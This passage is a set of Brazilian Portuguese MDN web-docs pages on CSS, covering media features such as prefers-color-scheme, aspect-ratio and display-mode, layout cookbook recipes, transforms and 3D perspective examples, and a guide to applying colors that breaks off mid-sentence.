{"title":"prefers-color-scheme - CSS","text":"prefers-color-scheme\n====================\n\n**Nota:** Se você definiu `privacy.resistFingerprinting` como **true**, `prefers-color-scheme` será substituída pela `light`.\n\nO **`prefers-color-scheme`** CSS media feature é usado para detectar se o usuário solicitou que o sistema use um tema de cores claras ou escuras.\n\nSyntax\n------\n\n`no-preference`\n\nIndica que o usuário não fez nenhuma preferência conhecida pelo sistema. Este valor da palavra-chave é avaliado como `false` no contexo booleano.\n\n`light`\n\nIndica que o usuário notificou o sistema de que prefere uma interface com um tema claro.\n\n`dark`\n\nIndica que o usuário notificou o sistema de que prefere uma interface com um tema escuro.\n\nExemplos\n--------\n\nOs elementos abaixo têm um tema de cores inicial. Eles podem ser mais temáticos de acordo com a preferência do esquema de cores do usuário.\n\n### HTML\n\n\n```html\n<div class=\"day\">Dia (inicial)</div>\n<div class=\"day light-scheme\">Dia (modificar e utilizar um tema claro)</div>\n<div class=\"day dark-scheme\">Dia (modificar e utilizar um tema escuro)</div>\n<br />\n\n<div class=\"night\">Noite (inicial)</div>\n<div class=\"night light-scheme\">Noite (modificar e utilizar um tema claro)</div>\n<div class=\"night dark-scheme\">Noite (modificar e utilizar um tema escuro)</div>\n```\n\n### CSS\n\n\n```css\n.day {\n  background: #eee;\n  color: black;\n}\n.night {\n  background: #333;\n  color: white;\n}\n\n@media (prefers-color-scheme: dark) {\n  .day.dark-scheme {\n    background: #333;\n    color: white;\n  }\n  .night.dark-scheme {\n    background: black;\n    color: #ddd;\n  }\n}\n\n@media (prefers-color-scheme: light) {\n  .day.light-scheme {\n    background: white;\n    color: #555;\n  }\n  .night.light-scheme {\n    background: #eee;\n    color: black;\n  }\n}\n\n.day,\n.night {\n  display: inline-block;\n  padding: 1em;\n  width: 7em;\n  height: 2em;\n  vertical-align: middle;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Media Queries Level 5 # prefers-color-scheme |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Video tutorial: Coding a Dark Mode for your Website\n* Redesigning your product and website for dark mode\n* Changing color schemes in Windows, macOS and Android."}
{"title":"aspect-ratio - CSS","text":"aspect-ratio\n============\n\nA característica de mídia CSS **`aspect-ratio`** pode ser utilizada para testar a taxa de aspecto de sua viewport.\n\nSintaxe\n-------\n\nA característica de `aspect-ratio` é especificada como um valor de `<ratio>` (en-US) representando a relação de largura-para-altura em aspecto à sua viewport. É uma característica de diferencial, o que significa que você pode fazer uso de variações pré-fixadas de **`min-aspect-ratio`** e **`max-aspect-ratio`** para definir os os seus valores mínimos e máximos, respectivamente.\n\nExemplo\n-------\n\nO exemplo abaixo está contido em um `<iframe>`, que cria o seu próprio viewport. Redimensione o `<iframe>` para ver o `aspect-ratio` em ação !\n\n### HTML\n\n\n```html\n<div id=\"inner\">\n  Observe este elemento, conforme voc&ecirc; altera a largura e a altura da sua\n  viewport.\n</div>\n```\n\n### CSS\n\n\n```css\n/\\* Taxa de aspecto mínima \\*/\n@media (min-aspect-ratio: 8/5) {\n  div {\n    background: #9af; /\\* azul \\*/\n  }\n}\n\n/\\* Taxa de aspecto máxima \\*/\n@media (max-aspect-ratio: 3/2) {\n  div {\n    background: #9ff; /\\* ciano \\*/\n  }\n}\n\n/\\* Taxa de aspecto exata, coloque-a no final para evitar sobrescrita\\*/\n@media (aspect-ratio: 1/1) {\n  div {\n    background: #f9a; /\\* vermelho \\*/\n  }\n}\n```\n\n\n```\n<label id=\"wf\" for=\"w\">width:165</label>\n<input id=\"w\" name=\"w\" type=\"range\" min=\"100\" max=\"250\" step=\"5\" value=\"165\" />\n<label id=\"hf\" for=\"w\">height:165</label>\n<input id=\"h\" name=\"h\" type=\"range\" min=\"100\" max=\"250\" step=\"5\" value=\"165\" />\n\n<iframe\n id=\"outer\"\n src=\"data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @media (max-aspect-ratio: 3/2) { div { background: %239ff; } } @media (aspect-ratio: 1/1) { div { background: %23f9a; } }</style><div id='inner'> Observe este elemento, conforme voc&ecirc; altera a largura e a altura da sua viewport.</div>\">\n</iframe>\n```\n\n\n```\niframe {\n  display: block;\n}\n```\n\n\n```\nouter.style.width = outer.style.height = \"165px\";\n\nw.onchange = w.oninput = function () {\n  outer.style.width = w.value + \"px\";\n  wf.textContent = \"width:\" + w.value;\n};\nh.onchange = h.oninput = function () {\n  outer.style.height = h.value + \"px\";\n  hf.textContent = \"height:\" + h.value;\n};\n```\n\n### Result\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Media Queries Level 4 # aspect-ratio |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Modo de exibição (display-mode) - CSS","text":"Modo de exibição (display-mode)\n===============================\n\nO recurso de mídia CSS `@media` (en-US) do modo de exibição pode ser usado para aplicar estilos com base no modo de exibição de um aplicativo. Você pode usar para prover uma consistente experiência de usuário entre abrir um site a partir de uma URL e um ícone desktop.\n\nEsse recurso corresponde ao membro da exibição do manifesto do aplicativo da Web. Ambos aplicam-se ao contexto de navegação de nível superior e a qualquer contexto afilhado de navegação. O recurso de consulta aplica-se independentemente de onde um manifesto de aplicativo web está presente.\n\nSintaxe\n-------\n\nO recurso `display-mode` é especificado como um valor de uma palavra chave escolhido da lista abaixo.\n\n| Modo de exibição | Descrição | Modo de exibição secundário |\n| --- | --- | --- |\n| `fullscreen` | Toda a área disponível da tela será usada e nada do agente-usuário (navegador) chrome é mostrado. | `standalone` |\n| `standalone` | A aplicação irá parecer uma aplicação independente. Isso pode incluir a aplicação ter uma janela diferente, seu próprio ícone no menu de aplicações, etc. Neste modo, o navegador não irá mostrar os controles de navegação (como barra de endereço, botão voltar, botão página inicial, etc), mas pode incluir outros elementos gráficos como a barra de status. | `minimal-ui` |\n| `minimal-ui` | A aplicação irá parecer uma aplicação independente, mas terá um conjunto mínimo de elementos gráficos (UI) para controlar a navegação. Esses elementos podem variar de acordo com o navegador. | `browser` |\n| `browser` | A aplicação abre numa aba ou nova janela convencional do navegador, dependendo do navegador e da plataforma. | (nenhum) |\n\nExemplo\n-------\n\n\n```css\n@media all and (display-mode: fullscreen) {\n  body {\n    margin: 0;\n    border: 5px solid black;\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Media Queries Level 5 # display-mode |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Navegação \"Migalha de Pão\" - CSS","text":"Navegação \"Migalha de Pão\"\n==========================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA navegação \"migalha de pão\" ajuda o usuário a enteder sua localização no site, fornecendo uma trilha de navegação de volta à pagina inicial.\n\n![Links displayed inline with separators](/pt-BR/docs/Web/CSS/Layout_cookbook/Breadcrumb_Navigation/breadcrumb-navigation.png)\n\nExigências\n----------\n\nOs itens tipicamente são exibidos em linha com um separador para indicar uma hierarquia entre páginas individuais.\n\nReceita\n-------\n\n**Nota:** Baixe esse exemplo\n\nFaça escolhas\n-------------\n\nEsse padrão é apresentado usando um layout flexível simples demonstrando como uma linha de CSS pode nos fornecer nossa navegação. Os separadores são adicionados usando o conteúdo gerado por CSS. Você pode alterá-las para qualquer separador que desejar.\n\nPreocupações com acessibilidade\n-------------------------------\n\nEu utilizei os atributos `aria-label` e `aria-current` para ajudar os usuários a entender o que é essa navegação e onde a página atual está na estrutura. Veja os links relacionados para mais informações.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nOs vários métodos de layout têm diferente suporte para o navegador. Veja os gráficos abaixo para obter detalhes sobre o suporte básico para as propriedades usadas.\n\n#### Flexbox\n\nVeja também\n-----------\n\n* CSS Flexible Box Layout\n* Fornecendo uma trilha de \"migalha de pão\"\n* Usando o atributo aria-current"}
{"title":"Recipe: Media objects - CSS","text":"Recipe: Media objects\n=====================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO *Media Object* (Objeto de Mídia) é um padrão que vemos em toda web. Nomeado por Nicole Sullivan refere-se a uma caixa de duas colunas com uma imagem de um lado e texto descritivo do outro, por ex. uma postagem no facebook ou tweet.\n\n![](/pt-BR/docs/Web/CSS/Layout_cookbook/Media_objects/media-object.png)\n\nExigências\n----------\n\nO Padrão Media Object precisa de algumas ou todas as seguintes características:\n\n* Empilhados no Celular, duas colunas no Computador.\n* A imagem pode estar à esquerda ou à direita.\n* A imagem pode ser pequena ou grande.\n* Media Objects (Objetos de Mídia) podem ser aninhados.\n* O Media Object deve limpar o conteúdo, não importando o tamanho.\nA receita\n---------\n\n**Nota:** Download this example\n\nEscolhas feitas\n---------------\n\nEu escolhi usar o Layout de Grade para o Media Object (Objeto de Layout), pois ele permite controlar o layout em duas dimensões quando preciso. Isso significa que, quando temos um rodapé, com conteúdo curto acima, o rodapé pode ser empurrado para a parte inferior do Media Object (Objeto de Layout).\n\nOutro motivo para usar o Layout de Gride é para que eu possa usar `fit-content` (en-US) para o tamanho da faixa de imagem. Usando `fit-content` com um tamanho máximo de 200 pixels, quando temos uma imagem pequena como o ícone, a faixa fica tão grande quanto o tamanho dessa imagem — o tamanho `max-content`. Se a imagem for maior, a faixa para de crescer em 200 pixels e, como a imagem possui `max-width`  de 100% aplicado, ele diminui para que continue a caber dentro da coluna.\n\nUsando `grid-template-areas` (en-US) para alcançar o layout, eu posso ver o padrão no CSS. Eu defino minha grade quando tivermos uma largura máxima de 500 pixels, em dispositivos menores o Media Object empilha.\n\nUma opção para o padrão é girá-lo para mudar a imagem para o outro lado — isso é feito adicionando a classe `media-flip`, que define um modelo de grade invertida, fazendo com que o layout seja espelhado.\n\nQuando aninhamos um media object (Objeto de Layout) dentro do outro, precisamons colocá-lo na segunda faixa no layout regular, e na primeira faixa quando invertida.\n\nFallbacks (Alternativas, Plano B)\n---------------------------------\n\nExistem várias alternativas possíveis para esse padrão, dependendo dos navegadores que você deseja oferecer suporte. Um bom exemplo seria flutuar a imagem para a esquerda e adicionar uma correção clara à caixa para garantir que ela contivesse as flutuações.\n\n**Nota:** Baixe este exemplo\n\nDepois que os elementos flutuantes se tornam itens da grade, o flutuador não se aplica mais; portanto, você não precisa fazer nada de especial para limpá-lo.\n\nO que você precisará fazer é remover as margens aplicadas ao item e as larguras que não precisamos em um contexto de grade (nós temos o `gap` propriedade para controlá-lo em grades, e a faixa assume o controle do dimensionamento).\n\nRecursos relevantes no MDN\n--------------------------\n\n* Layout Grade CSS\n* Aprimoramento progressivo e Layout de Grid (en-US)\n* Usando áreas de modelo de Grade (en-US)\n* Conteúdo Adequado (en-US)\n* Áreas de Modelo de Grade (en-US)\nCompatibilidade com navegadores\n-------------------------------\n\nOs vários métodos de layout tem suporte diferente para os navegadores. Veja os gráficos abaixo para obter detalhes sobre o suporte básico para as propriedades usadas.\n\n#### Áreas de Modelo de Grade\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n#### Flutuador\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Usando CSS transforms - CSS","text":"Usando CSS transforms\n=====================\n\nMudando coordenadas no espaço da tela o **CSS transforms** permite que a posição do conteúdo afetado seja alterada sem afetar o fluxo de informação da página. Elas são implementadas usando um conjunto de propriedades CSS que permitem alterações lineares em elementos HTML. Essas alterações incluem rotação, inclinações, alteração da escala e tradução tanto em 2D quanto em 3D.\n\nPropriedades de CSS transforms\n------------------------------\n\nDuas propriedades principais são usadas para definir o CSS transforms: `transform` and `transform-origin`\n\n`transform-origin`\n\nDefine a posição de origem do elemento. Por padrão esta posição é o canto superior esquerdo do elemento e pode ser movido. É utilizado para muitas alterações, como rotação, alteração de escala e inclinação, que precisam de um ponto especifico como parâmetro.\n\n`transform`\n\nDefine qual alteração será feita no elemento. Pode-se usar mais de um efeito separado-os por um espaço. Tais efeitos serão aplicados um após o outro, na ordem determinada no código.\n\n### Exemplo: Rotação\n\nEste exemplo cria um iframe que permite que a página inicial do Google seja utilizada com uma rotação de 90 graus a partir do canto inferior esquerdo\n\nVeja um exemplo funcionando\nVeja uma foto do exemplo\n\n\n```html\n<div style=\"transform: rotate(90deg); transform-origin: bottom left;\">\n  <iframe src=\"http://www.google.com/\" width=\"500\" height=\"600\"></iframe>\n</div>\n```\n\n### Example: Inclinando e Movendo\n\nEste exemplo cria um iframe que permite que você use a página inicial do Google inclinada em 10 graus no eixo X.\n\nVeja um exemplo funcionando\nView uma foto do exemplo\n\n\n```html\n<div\n style=\"transform: skewx(10deg) translatex(150px);\n transform-origin: bottom left;\">\n  <iframe src=\"http://www.google.com/\" width=\"600\" height=\"500\"></iframe>\n</div>\n```\n\nPropriedades especificas 3D do CSS\n----------------------------------\n\nTrabalhar com propriedades CSS em 3D é um pouco mais difícil. Você tem que começar configurando o espaço 3D dando perspectiva a ele, então você tem que configurar como os elementos 2D irão se comportar no espaço.\n\n### Configurando uma perspectiva\n\nO primeiro elemento a ser configurado é a perspectiva. É ela a responsável pela sensação de 3D. Quanto mais longe o objeto estiver do usuário, menor ele é.\n\nQuanto será a sensação de encolhimento é definida pela propriedade `perspective` (en-US). Quanto menor o valor, mais profundidade terá o objeto.\n\n##### HTML\n\nO HTML abaixo cria quatro cópias da mesma caixa, com a perspectiva definida em valores diferentes.\n\n\n```html\n<table>\n  <tbody>\n    <tr>\n      <th><code>perspective: 250px;</code></th>\n      <th><code>perspective: 350px;</code></th>\n    </tr>\n    <tr>\n      <td>\n        <div class=\"container\">\n          <div class=\"cube pers250\">\n            <div class=\"face front\">1</div>\n            <div class=\"face back\">2</div>\n            <div class=\"face right\">3</div>\n            <div class=\"face left\">4</div>\n            <div class=\"face top\">5</div>\n            <div class=\"face bottom\">6</div>\n          </div>\n        </div>\n      </td>\n      <td>\n        <div class=\"container\">\n          <div class=\"cube pers350\">\n            <div class=\"face front\">1</div>\n            <div class=\"face back\">2</div>\n            <div class=\"face right\">3</div>\n            <div class=\"face left\">4</div>\n            <div class=\"face top\">5</div>\n            <div class=\"face bottom\">6</div>\n          </div>\n        </div>\n      </td>\n    </tr>\n    <tr>\n      <th><code>perspective: 500px;</code></th>\n      <th><code>perspective: 650px;</code></th>\n    </tr>\n    <tr>\n      <td>\n        <div class=\"container\">\n          <div class=\"cube pers500\">\n            <div class=\"face front\">1</div>\n            <div class=\"face back\">2</div>\n            <div class=\"face right\">3</div>\n            <div class=\"face left\">4</div>\n            <div class=\"face top\">5</div>\n            <div class=\"face bottom\">6</div>\n          </div>\n        </div>\n      </td>\n      <td>\n        <div class=\"container\">\n          <div class=\"cube pers650\">\n            <div class=\"face front\">1</div>\n            <div class=\"face back\">2</div>\n            <div class=\"face right\">3</div>\n            <div class=\"face left\">4</div>\n            <div class=\"face top\">5</div>\n            <div class=\"face bottom\">6</div>\n          </div>\n        </div>\n      </td>\n    </tr>\n  </tbody>\n</table>\n```\n\n\n##### CSS\n\nO CSS estabelece classes que podem ser usadas para definir a perspectiva a diferentes distâncias. Ele também inclui classes para a caixa do recipiente e o próprio cubo, bem como cada uma de suas faces.\n\n\n```css\n/\\* Shorthand classes for different perspective values \\*/\n.pers250 {\n  perspective: 250px;\n}\n.pers350 {\n  perspective: 350px;\n}\n.pers500 {\n  perspective: 500px;\n}\n.pers650 {\n  perspective: 650px;\n}\n/\\* Define the container div, the cube div, and a generic face \\*/\n.container {\n  width: 200px;\n  height: 200px;\n  margin: 75px 0 0 75px;\n  border: none;\n}\n.cube {\n  width: 100%;\n  height: 100%;\n  backface-visibility: visible;\n  perspective-origin: 150% 150%;\n  transform-style: preserve-3d;\n}\n.face {\n  display: block;\n  position: absolute;\n  width: 100px;\n  height: 100px;\n  border: none;\n  line-height: 100px;\n  font-family: sans-serif;\n  font-size: 60px;\n  color: white;\n  text-align: center;\n}\n/\\* Define each face based on direction \\*/\n.front {\n  background: rgba(0, 0, 0, 0.3);\n  transform: translateZ(50px);\n}\n.back {\n  background: rgba(0, 255, 0, 1);\n  color: black;\n  transform: rotateY(180deg) translateZ(50px);\n}\n.right {\n  background: rgba(196, 0, 0, 0.7);\n  transform: rotateY(90deg) translateZ(50px);\n}\n.left {\n  background: rgba(0, 0, 196, 0.7);\n  transform: rotateY(-90deg) translateZ(50px);\n}\n.top {\n  background: rgba(196, 196, 0, 0.7);\n  transform: rotateX(90deg) translateZ(50px);\n}\n.bottom {\n  background: rgba(196, 0, 196, 0.7);\n  transform: rotateX(-90deg) translateZ(50px);\n}\n/\\* Make the table a little nicer \\*/\nth,\np,\ntd {\n  background-color: #eeeeee;\n  padding: 10px;\n  font-family: sans-serif;\n  text-align: left;\n}\n```\n\n\n##### Resultado\n\nO segundo elemento a ser configurado é a posição do espectador, com a propriedade `perspective-origin` (en-US). Por padrão, a perspectiva está centrada no telespectador, o que nem sempre é adequado.\n\n#### Mudando a origem da perspectiva\n\nEste exemplo mostra cubos com valores populares do `perspective-origin`.\n\n##### HTML\n\n\n```html\n<section>\n  <figure>\n    <figcaption><code>perspective-origin: top left;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube potl\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: top;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube potm\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: top right;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube potr\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: left;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube poml\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: 50% 50%;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube pomm\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: right;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube pomr\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: bottom left;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube pobl\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: bottom;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube pobm\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: bottom right;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube pobr\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: -200% -200%;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube po200200neg\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: 200% 200%;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube po200200pos\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n\n  <figure>\n    <figcaption><code>perspective-origin: 200% -200%;</code></figcaption>\n    <div class=\"container\">\n      <div class=\"cube po200200\">\n        <div class=\"face front\">1</div>\n        <div class=\"face back\">2</div>\n        <div class=\"face right\">3</div>\n        <div class=\"face left\">4</div>\n        <div class=\"face top\">5</div>\n        <div class=\"face bottom\">6</div>\n      </div>\n    </div>\n  </figure>\n</section>\n```\n\n\n##### CSS\n\n\n```css\n/\\* perspective-origin values (unique per example) \\*/\n.potl {\n  perspective-origin: top left;\n}\n.potm {\n  perspective-origin: top;\n}\n.potr {\n  perspective-origin: top right;\n}\n.poml {\n  perspective-origin: left;\n}\n.pomm {\n  perspective-origin: 50% 50%;\n}\n.pomr {\n  perspective-origin: right;\n}\n.pobl {\n  perspective-origin: bottom left;\n}\n.pobm {\n  perspective-origin: bottom;\n}\n.pobr {\n  perspective-origin: bottom right;\n}\n.po200200neg {\n  perspective-origin: -200% -200%;\n}\n.po200200pos {\n  perspective-origin: 200% 200%;\n}\n.po200200 {\n  perspective-origin: 200% -200%;\n}\n/\\* Define the container div, the cube div, and a generic face \\*/\n.container {\n  width: 100px;\n  height: 100px;\n  margin: 24px;\n  border: none;\n}\n.cube {\n  width: 100%;\n  height: 100%;\n  backface-visibility: visible;\n  perspective: 300px;\n  transform-style: preserve-3d;\n}\n.face {\n  display: block;\n  position: absolute;\n  width: 100px;\n  height: 100px;\n  border: none;\n  line-height: 100px;\n  font-family: sans-serif;\n  font-size: 60px;\n  color: white;\n  text-align: center;\n}\n/\\* Define each face based on direction \\*/\n.front {\n  background: rgba(0, 0, 0, 0.3);\n  transform: translateZ(50px);\n}\n.back {\n  background: rgba(0, 255, 0, 1);\n  color: black;\n  transform: rotateY(180deg) translateZ(50px);\n}\n.right {\n  background: rgba(196, 0, 0, 0.7);\n  transform: rotateY(90deg) translateZ(50px);\n}\n.left {\n  background: rgba(0, 0, 196, 0.7);\n  transform: rotateY(-90deg) translateZ(50px);\n}\n.top {\n  background: rgba(196, 196, 0, 0.7);\n  transform: rotateX(90deg) translateZ(50px);\n}\n.bottom {\n  background: rgba(196, 0, 196, 0.7);\n  transform: rotateX(-90deg) translateZ(50px);\n}\n/\\* Make the layout a little nicer \\*/\nsection {\n  background-color: #eee;\n  padding: 10px;\n  font-family: sans-serif;\n  text-align: left;\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n}\n```\n\n\n##### Resultado\n\nFeito isso, você pode trabalhar com elementos 3D.\n\n### Elementos 2D em espaço 3D\n\nVeja também\n-----------\n\n* Usando deviceorientation com 3D Transforms"}
{"title":"Seletor de cores - CSS","text":"Seletor de cores\n================\n\nEsta ferramenta facilita a criação, ajuste e experimentação com cores personalizadas para uso na web. Ela também facilita a conversão entre vários formatos de cores suportados por CSS, incluindo cores HEXA, RGB (vermelho, verde, azul) e HSL (tonalidade, saturação, luminosidade). Controle sobre o canal alfa também é suportado nos formatos RGB (rgba) e (hsla).\n\nEnquanto você ajusta os parâmetros que definem a cor, ela é apresentada nos 3 formatos padrão para CSS web. Além disso, com base na seleção de cor atual, é gerada uma paleta para HSL, HSV e também alfa. O selecionador de cor estilo \"conta-gotas\" pode alternar os estilos HSL e HSV. Você também pode testar as cores e ver como elas se sobrepõem umas sobre às outras.\n\nAs cores geradas por você acima podem ser usadas em qualquer lugar em que a cor é usada em CSS e HTML, a menos que seja indicado de outra forma.\n\nVeja também\n-----------\n\nPara mais aplicações de cores, veja:\n\n* Aplicando cores para elementos HTML com CSS (en-US)\n* Fundamentação de textos e estilo de fonte (en-US)\n* Estilização de bordas com CSS (en-US)\n* Mudando estilos de cores de fundo com CSS (en-US)\n* Cores e contrastes de cores (en-US)"}
{"title":"Aplicando cores a elementos HTML usando CSS - CSS","text":"Aplicando cores a elementos HTML usando CSS\n===========================================\n\nEste artigo é uma cartilha que apresenta cada uma das maneiras pelas quais as cores CSS podem ser usadas em HTML.\n\nO uso da cor é uma forma fundamental de expressão humana. As crianças experimentam a cor antes mesmo de terem a destreza manual para desenhar. Talvez seja por isso que a cor é uma das primeiras coisas que as pessoas muitas vezes querem experimentar quando aprendem a desenvolver sites. Com CSS, há várias maneiras de adicionar cor aos seus elementos HTML para criar exatamente a aparência desejada.\n\nVamos abordar a maior parte do que você precisa saber ao usar cores, incluindo uma lista do que você pode colorir e quais propriedades CSS estão envolvidas, como você descreve as cores, e como realmente usar cores em folhas de estilo e em scripts. Também veremos como deixar o usuário escolher uma cor.\n\nEm seguida, encerraremos as coisas com uma breve discussão sobre como usar cores com sabedoria: como selecionar cores apropriadas, tendo em mente as necessidades de pessoas com diferentes capacidades visuais.\n\nCoisas que podem ter cor\n------------------------\n\nNo nível dos elementos, tudo em HTML pode ter cores aplicadas. Em vez disso, vamos ver as coisas em termos dos tipos de coisas que são desenhadas nos elementos, como texto e bordas e assim por diante. Para cada um, veremos uma lista das propriedades CSS que aplicam cores a eles.\n\nEm um nível fundamental, a propriedade `color` define a cor de primeiro plano do conteúdo de um elemento HTML e a propriedade `background-color` define a cor de fundo do elemento. Estes podem ser usados em praticamente qualquer elemento.\n\n### Texto\n\nSempre que um elemento é renderizado, essas propriedades são usadas para determinar a cor do texto, seu plano de fundo e quaisquer decorações no texto.\n\n`color`\n\nA cor a ser usada ao desenhar o texto e quaisquer decorações de texto (en-US) (como a adição de sublinhados ou sublinhados, linhas tachadas, e assim por diante.\n\n`background-color`\n\nA cor de fundo do texto.\n\n`text-shadow`\n\nConfigura um efeito de sombra aplicado ao texto. Entre as opções para os aspectos da sombra, está a cor base da sombra (que será então desfocada e mesclada com o plano de fundo, com base nos outros parâmetros). Veja Sombras projetadas em texto (en-US) para descobrir mais.\n\n`text-decoration-color` (en-US)\n\nPor padrão, as decorações de texto (como sublinhados, tachados, etc.) usam a propriedade `color` como suas cores. No entanto, você pode substituir esse comportamento e usar uma cor diferente para eles com a propriedade `text-decoration-color`.\n\n`text-emphasis-color` (en-US)\n\nA cor a ser usada ao desenhar símbolos de ênfase adjacentes a cada caractere no texto. Isso é usado principalmente ao desenhar texto para idiomas do Leste Asiático.\n\n`caret-color` (en-US)\n\nA cor a ser usada ao desenhar o caret (às vezes chamado de cursor de entrada de texto) dentro do elemento. Isso só é útil em elementos que são editáveis, como `<input>` e `<textarea>` ou elementos cujo atributo HTML `contenteditable` está definido.\n\n### Caixas\n\nCada elemento é uma caixa com algum tipo de conteúdo e tem um fundo e uma borda além de qualquer conteúdo que a caixa possa ter.\n\nBorders\n\nConsulte a seção Borders para obter uma lista das propriedades CSS que você pode usar para definir as cores das bordas de uma caixa.\n\n`background-color`\n\nA cor de fundo a ser usada em áreas do elemento que não possuem conteúdo de primeiro plano.\n\n`column-rule-color` (en-US)\n\nA cor a ser usada ao desenhar a linha que separa as colunas do texto.\n\n`outline-color` (en-US)\n\nA cor a ser usada ao desenhar um contorno ao redor da parte externa do elemento. Esse contorno é diferente da borda, pois não recebe espaço reservado para ele no documento (portanto, pode se sobrepor a outro conteúdo). Geralmente é usado como indicador de foco, para mostrar qual elemento receberá eventos de entrada.\n\n### Bordas\n\nQualquer elemento pode ter uma borda (en-US) desenhada em torno dele. Uma borda de elemento básico é uma linha desenhada ao redor das bordas do conteúdo do elemento. Consulte Propriedades do Box (en-US) para saber mais sobre a relação entre elementos e suas bordas, e o artigo Estilizando bordas usando CSS (en-US) para saber mais sobre como aplicar estilos a bordas.\n\nVocê pode usar a propriedade abreviada `border` (en-US), que permite configurar tudo sobre o borda de uma só vez (incluindo recursos não coloridos de bordas, como sua largura (en-US), estilo (en-US) (sólido, tracejado, etc.), e assim por diante.\n\n`border-color` (en-US)\n\nEspecifica uma única cor a ser usada para cada lado da borda do elemento.\n\n`border-left-color` (en-US), `border-right-color` (en-US), `border-top-color` (en-US) e `cor da borda inferior`\n\nPermite definir a cor do lado correspondente da borda do elemento.\n\n`border-block-start-color` (en-US) e `border-block-end-color` (en-US)\n\nCom estes, você pode definir a cor usada para desenhar as bordas que estão mais próximas do início e do fim do bloco que a borda circunda. Em um modo de escrita da esquerda para a direita (como a forma como o inglês é escrito), a borda inicial do bloco é a borda superior e o final do bloco é a parte inferior. Isso difere do início e do fim embutidos, que são as bordas esquerda e direita 